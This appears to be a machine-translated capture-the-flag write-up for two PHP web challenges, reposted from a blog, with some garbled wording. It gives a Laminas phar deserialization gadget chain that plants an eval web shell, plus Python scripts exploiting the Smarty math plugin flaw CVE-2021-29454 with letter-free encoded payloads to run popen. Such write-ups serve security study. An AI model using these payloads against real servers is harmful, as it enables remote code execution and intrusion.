Web da Copa Hongminggu 2022

Site de fãs

O tópico deu uma dica, e estava relacionado às lâminas.
insira a descrição da imagem aqui
Digitalize o diretório para obter o código-fonte.
O código de auditoria descobriu que o título tem uma rota de álbum e o controlador tem apenas um /module/Album/src/Controller/AlbumController.php

Ele contém várias funções de processamento, que podem fazer upload de arquivos e excluir arquivos.
Mas a filtragem de arquivos de upload é uma lista de permissões, portanto, não é fácil ignorar.
insira a descrição da imagem aqui
E não pode haver nenhum conteúdo no conteúdo. <? HALT_COMPILER
insira a descrição da imagem aqui
Isso é um pouco sem prata aqui. Por que filtrar HALT_COMPILER relacionado a phar sem motivo.
Procurando a vulnerabilidade deste componente na Internet encontrou uma vulnerabilidade de desserialização https://xz.aliyun.com/t/8975, é fácil dizer, podemos fazer upload de um arquivo phar e, em seguida, excluir o arquivo e acionar a desserialização ao chamar unlink. Mas você tem que garantir que o conteúdo seja maior que 3kb, então adicione umstr_repeat('123',1000000)

<?php 

namespace Laminas\View\Resolver{
    
    
	class TemplateMapResolver{
    
    
		protected $map = ["setBody"=>"system"];
	}
}
namespace Laminas\View\Renderer{
    
    
	class PhpRenderer{
    
    
		private $__helpers;
		function __construct(){
    
    
			$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
		}
	}
}


namespace Laminas\Log\Writer{
    
    
	abstract class AbstractWriter{
    
    }
	
	class Mail extends AbstractWriter{
    
    
		protected $eventsToMail = ["echo '<?php eval(\$_POST[1]);?>' > /var/www/public/a.php"];  								//  cmd  cmd cmd
		protected $subjectPrependText = null;
		protected $mail;
		function __construct(){
    
    
			$this->mail = new \Laminas\View\Renderer\PhpRenderer();
		}
	}
}

namespace Laminas\Log{
    
    
	class Logger{
    
    
		protected $writers;
		function __construct(){
    
    
			$this->writers = [new \Laminas\Log\Writer\Mail()];
		}
	}
}

namespace{
    
    
$a = new \Laminas\Log\Logger();
$phar = new Phar("shell.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($a); //将自定义的 meta-data 存入 manifest
$phar->addFromString("a", str_repeat('123',1000000)); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>

A corrente saiu e havia um problema a ser resolvido. Ignore <? e __HALT_COMPILER
para encontrar um artigo online para https://www.wangan.com/p/7fygf7a00f0fd793
insira a descrição da imagem aqui
gzipar o arquivo phar gerado. Em seguida, altere o sufixo para png.
Obtenha o caminho do arquivo após a conclusão do upload.
insira a descrição da imagem aqui
Passe phar:///var/www/public/img/00bf23e130fa1e525e332ff03dae345d.png onde o arquivo é excluído

insira a descrição da imagem aqui
Depois que a espada da formiga é conectada, a bandeira é obtida
insira a descrição da imagem aqui

Smarty_calculator

Digitalize o plano de fundo para obter o código-fonte
. O nome do título é o site de teste para esta pergunta, o modelo inteligente em php.
Depois de pesquisar, encontrei o cve relacionado CVE-2021-29454 . Depois de usar a matemática no smarty para
aprender uma onda, ela pode ser calculada passando {math equation="(( x + y ) / z )" x=2 y=10 z=2}.

E há um arquivo relacionado src/Smarty/plugins/function.math.php
no código-fonte. A função eval é encontrada
insira a descrição da imagem aqui
nele. O assunto do teste deve ser a vulnerabilidade de execução do comando. Voltando, o conteúdo na equação não pode conter acentos graves e $ e O número de parênteses esquerdo e direito deve corresponder. Além disso, uma partida regular também é realizada.
insira a descrição da imagem aqui
Provavelmente não há nenhum hexadecimal, nenhuma letra no início, caso contrário, entre neste loop foreach.
Ainda é um loop down, se a string usada no conteúdo de entrada não for equação ou formato ou atribuição, uma substituição será executada.
Então, se evitarmos esses dois loops, podemos emendar o conteúdo de entrada e colocá-lo em eval.
É fácil pensar na letra rce sem números. Dessa forma, ele não será correspondido pela expressão regular e outro loop pode ser ignorado (não há outras letras e há apenas um valor de chave em $param).
O roteiro sem números e letras eu escrevi um relativamente completo antes. https://blog.csdn.net/miuzzx/article/details/109143413Basta usar seu próprio script.
Usando a construção OR, vamos tentar phpinfo primeiro
insira a descrição da imagem aqui

import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"

data={
    
    'data':urllib.parse.unquote(''' {math equation="1;('%30%28%30%29%2e%26%2f'|'%40%40%40%40%40%40%40')();//" }''')}

r=requests.post(url,data=data,cookies={
    
    'login':'1'})
print(r.text)

insira a descrição da imagem aqui
Existe df, mas um popen é deixado, então você pode usar popen para executar comandos do sistema.
Adivinhe cegamente que uma onda do caminho do sinalizador é /flag, execute o comando do sistema cp /flag a
, que é para construir uma instrução phppopen('cp /f* a','r')
insira a descrição da imagem aqui

import requests
import urllib.parse
url="http://eci-2ze9vv2h6yb0y4183bod.cloudeci1.ichunqiu.com/"

data={
    
    'data':urllib.parse.unquote(''' {math equation="1;('%30%2f%30%25%2e'|'%40%40%40%40%40')(('%23%30%00%00%26%00%00%21'|'%40%40%20%2f%40%2a%20%40'),('%32'|'%40'));//" }''')}

r=requests.post(url,data=data,cookies={
    
    'login':'1'})
print(r.text)

Visite /a para obter a bandeira
insira a descrição da imagem aqui

Acho que você gosta

Origin blog.csdn.net/miuzzx/article/details/123663551
Recomendado
Clasificación